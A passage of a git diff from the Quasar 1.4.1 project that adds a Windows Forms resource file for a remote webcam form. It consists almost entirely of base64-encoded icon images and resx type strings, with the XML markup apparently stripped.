Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx new file mode 100755 index 0000000..c0c528a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx @@ -0,0 +1,2193 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 223, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKvSURBVDhPpZPdT5JRHMf9W/RP6DndtDa9aK5N56Ok + XWTUME3UVrgKtcEqxQRfAQVsKITiG+UblKgICT6aPaFgaOqTAzNoa6sbSFuW3yYtzHJd1Nk+Zztn53zO + vuf8ThKApP/hj4kc3WpKpiYgyVAtcacavNG0ejaaWj/PpdbPSU7eY1J+X39okKVd4Z1W+iMlRh+MrhAG + ma04BkcQAu0zEMlUhEgdvCMFmZoAL71xMdYwuga7N4KOiRBklle4278CpXUNFvcmagcDIKUjMXJ1JCGJ + dxnqpeT0poXw/mbr8wgk/SuoNPvRN/MGfZ5N3DT5IO72wzS1AdlDH0iRJUwK+5MTgnTlgrRY74WNfYcq + cwBiow/XOxfx6fNuHFEnC1EHC/EDL8xPgzinGAeV3y1NCNKaWM7gCEFt5XDDuIjyTi9EehZdrg2YXBso + bWd+oJuBzOKHdmIVJK+TSwhOyJjt4fm3qOryQdTxAmX351CqY7Df9gAINR4Ut06juNWNKzoPLEwQFK9t + OyEgUtf20NxWPOv+SSXaGQg1MwiEPiK2s4uiFhcKm5241OyEUOXEwGwQFK36VeDg9A4O8kfLKNPNQdjm + wWX1NF4GPyC28wUF9ZMoUIxDoLCjooOB2r4Ekt1yEIFU2KV8pQt97hDKNAyESjfs7Ca+ftuLR/C9fg++ + zAa+zIr2xwHk3RoEyW4+uERybSiZCC3hOwOLMDnWUaR0QtAwgQvyMfBrrDhfPYL86mE0DnhRaZ4FRcvD + hJYfPOM+lKCXdyzXEJP0sjBMrkKs90CgeIKLtTaUa5zQWv0QdzEgWTUxQssPF1JCkmfgUbntkbO3R6Ee + W0aPh0OPZx0ttiXkVFlAZdVGCF13dCn/hJzRplC8VgmVo+IoWhGlsuqihJZzhJZLjtM1f/9M/8J3OIbL + 7IJCv8kAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIWSURBVDhPpY/PaxNBGIZ78O7NP8FTKmKbFdGjIJ68 + iF78BSKozUGiFCqC9pA0IARKo4iIpVAq2GKxEcGj9VBNbRObaDabNDZNG5pgs7uzu7O7s7vzSlJNIgEh + 9PDM980L3/PN9AHo2w9dQa90Bb3SPHLvBlOlxSts89O1Dq6y/PtT6+KC75C44Dv4D/EmB1oCKS5YnHsA + OMAb7PWOWcPW0pBdXhqy/lJZGTG3E/dKubfHLrQF836FuyasrSiM4jiMjUnQ0hy4I4N7Orirgbvq3t2p + Ax6zpXkh0xa8FojHVBjFGPTCBMj3UewmbqO2HICcDkFeewQ5dR/15DDqySAcswrpzaDWFsz6mUN3IGdi + qK9GUP14F7T6Bdwlf7Y3qtJ+ATikWcFsC2aOs+b/PQvwKOAazUGXirAqMZjlEOjPYRj5m9DFS3D1LKRp + f4dgSrC5S+GSz3DkD2C/5mDvvIBZfgy68QC0EICRuwz9xzlo6dNwtRSkyU7Bc8HyGAHbjcOuTsOqPIG5 + GQItNrbegJ69CC1zFuTbSairR+GQr5CedQpifpMzGXZ1Ctb2OMzSKGgxCEO6Dj17Hlr6DEjqBNSVI1CW + D8MhCTRmWoJcdKDClIKir7/y9PxLaNJTaGIUWjYMknkIkh6BuhaEmgpATd6CVVvkueiA0hKIYd8dMdI/ + I47118RIv/lfxppVFcO+iZZgP3QFvfIbjdEbMqg0Vh4AAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEJSURBVDhPpdPPaoMwHAdwn0NREEEQQRAEl81mWeLu + LRTfYU/QFQq+QWn7ILtuTig+wU477r5dd+pBxnckRbcc9idb4Ev8BfLhZ0gsANZ/YlV1t67q7lDVXW+Y + nQLmq/1hc/uM7d33eXh61eb5at8rYLZse7mwa16MMlu2UMB00bzJwjTTRXMEZJFlGdI0RZIkiOMYURQh + DEMEQQDf9+F5HlzXheM4sG1bZexAfuQnRBZGiAaQ0zPkeW6EaEAxoWqzRH77Ox/AdQt6zlAUBQghYyfD + +ArRAHbBQSnVkJ86+QTcg4sSjDEjROtAlCU450aIdohCCBUTZAQur24eh9tlErlPAcOz/GveAX11R2h2 + a0LRAAAAAElFTkSuQmCC + + + + + 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 + 7IJCv8kAAAAASUVORK5CYII= + + + + + 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 + SCRK8/n8s/8CwNyzn/m7geEAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ1SURBVDhPpZHLaxNRFMb7H7ju0p0bBVdZCCoupKKo + ICi6qmIVzaJZdGFQAkKwJQ/HtI2NVKpNLFYCNs9pM5PXNJNp00mamJk0TTt5jJVC22BKNy5cfHIHja9Z + CF74OPce7vmdc7/bA6Dnf/RXolAovMrlcl95nkc6nQbLsqBpGoFAAH6//+2f97ubUql0KJ/P+xVFwdbW + NpSGCkVpYpNos4F2+zNmZmagCygWi32iKH5qNpvY3d1FbqWIrCAiw6+AyyyD45awXlMwNTWlDxBFETs7 + O5pU9SN4QcTEhAdu93OMjY3D5RrFWnUTHo9HHyAIAjqdDlRVRb1exyLpuriMFCcgmcqCTWRQWduAy+XS + BxCz2u02Wq0WFKWONLekdaUoCk6nEzabDXKlBrvdrg8gThMA8aBW20AyJSCe5MHGM4ixHBZiaUhSFVar + VR8QjUY1QKPRwPp6TRuZYRcRYzi8WX6Nq+8u44NUhcVi0QfMzc1hb29Pe3+lUu12pReSODN9AoZxA6bD + LzA4dgN3nl7Cdevpg3MPjj3qAmZnZ7XvIwBJrmCeFM8nEaETCEdYOKaf4LH/JiKyG6VtBhR7H9eoozAY + ex0awOv1Yn9/XzOxXJYRpZOIROMIRVgEQwz6R/oQlJ4huDZKngBHfABU/C4BfNEAk5OTuXA4DFmW0Wyq + SKSyCEcTCARjeB+M4cLD46Dll1rxjxUquwngpxkURZ232Wx5n88HPitAkmtYLcoorEo4OXgYduYWhpl+ + rXg41v/7BL/KYrGcNZvN5aGhIZhMJhiNRly8dwpXHEfgZG5rnUkk564H/yKDsXfEYOw9IGN/jyMk/w01 + hv6Uwh3lxAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKlSURBVDhPpZFfSFNhGMZPREQQWBcVUiQG0R+Qkogk + 9KoSqQsjqKAischFg/RiNwfTTJHqjHVc/tlguDnXaDZig7HlnG07+3PcPFsT29Tp2eZSCudIb7oqeeKc + i2G5i6CL5+Pj5Xt/z/s9LwGA+B9tKUSjUV04HP4ZCATg9XrhcrngcDhgtVphNpvf/v2+cJmamiqJRCJm + nuextPQVfDoLns9gQdBCGvn8dxiNRhQFxGKxOo7jljOZDHK5HMKTMQRZDv7AJBh/CAwzgbkkD61WWxzA + 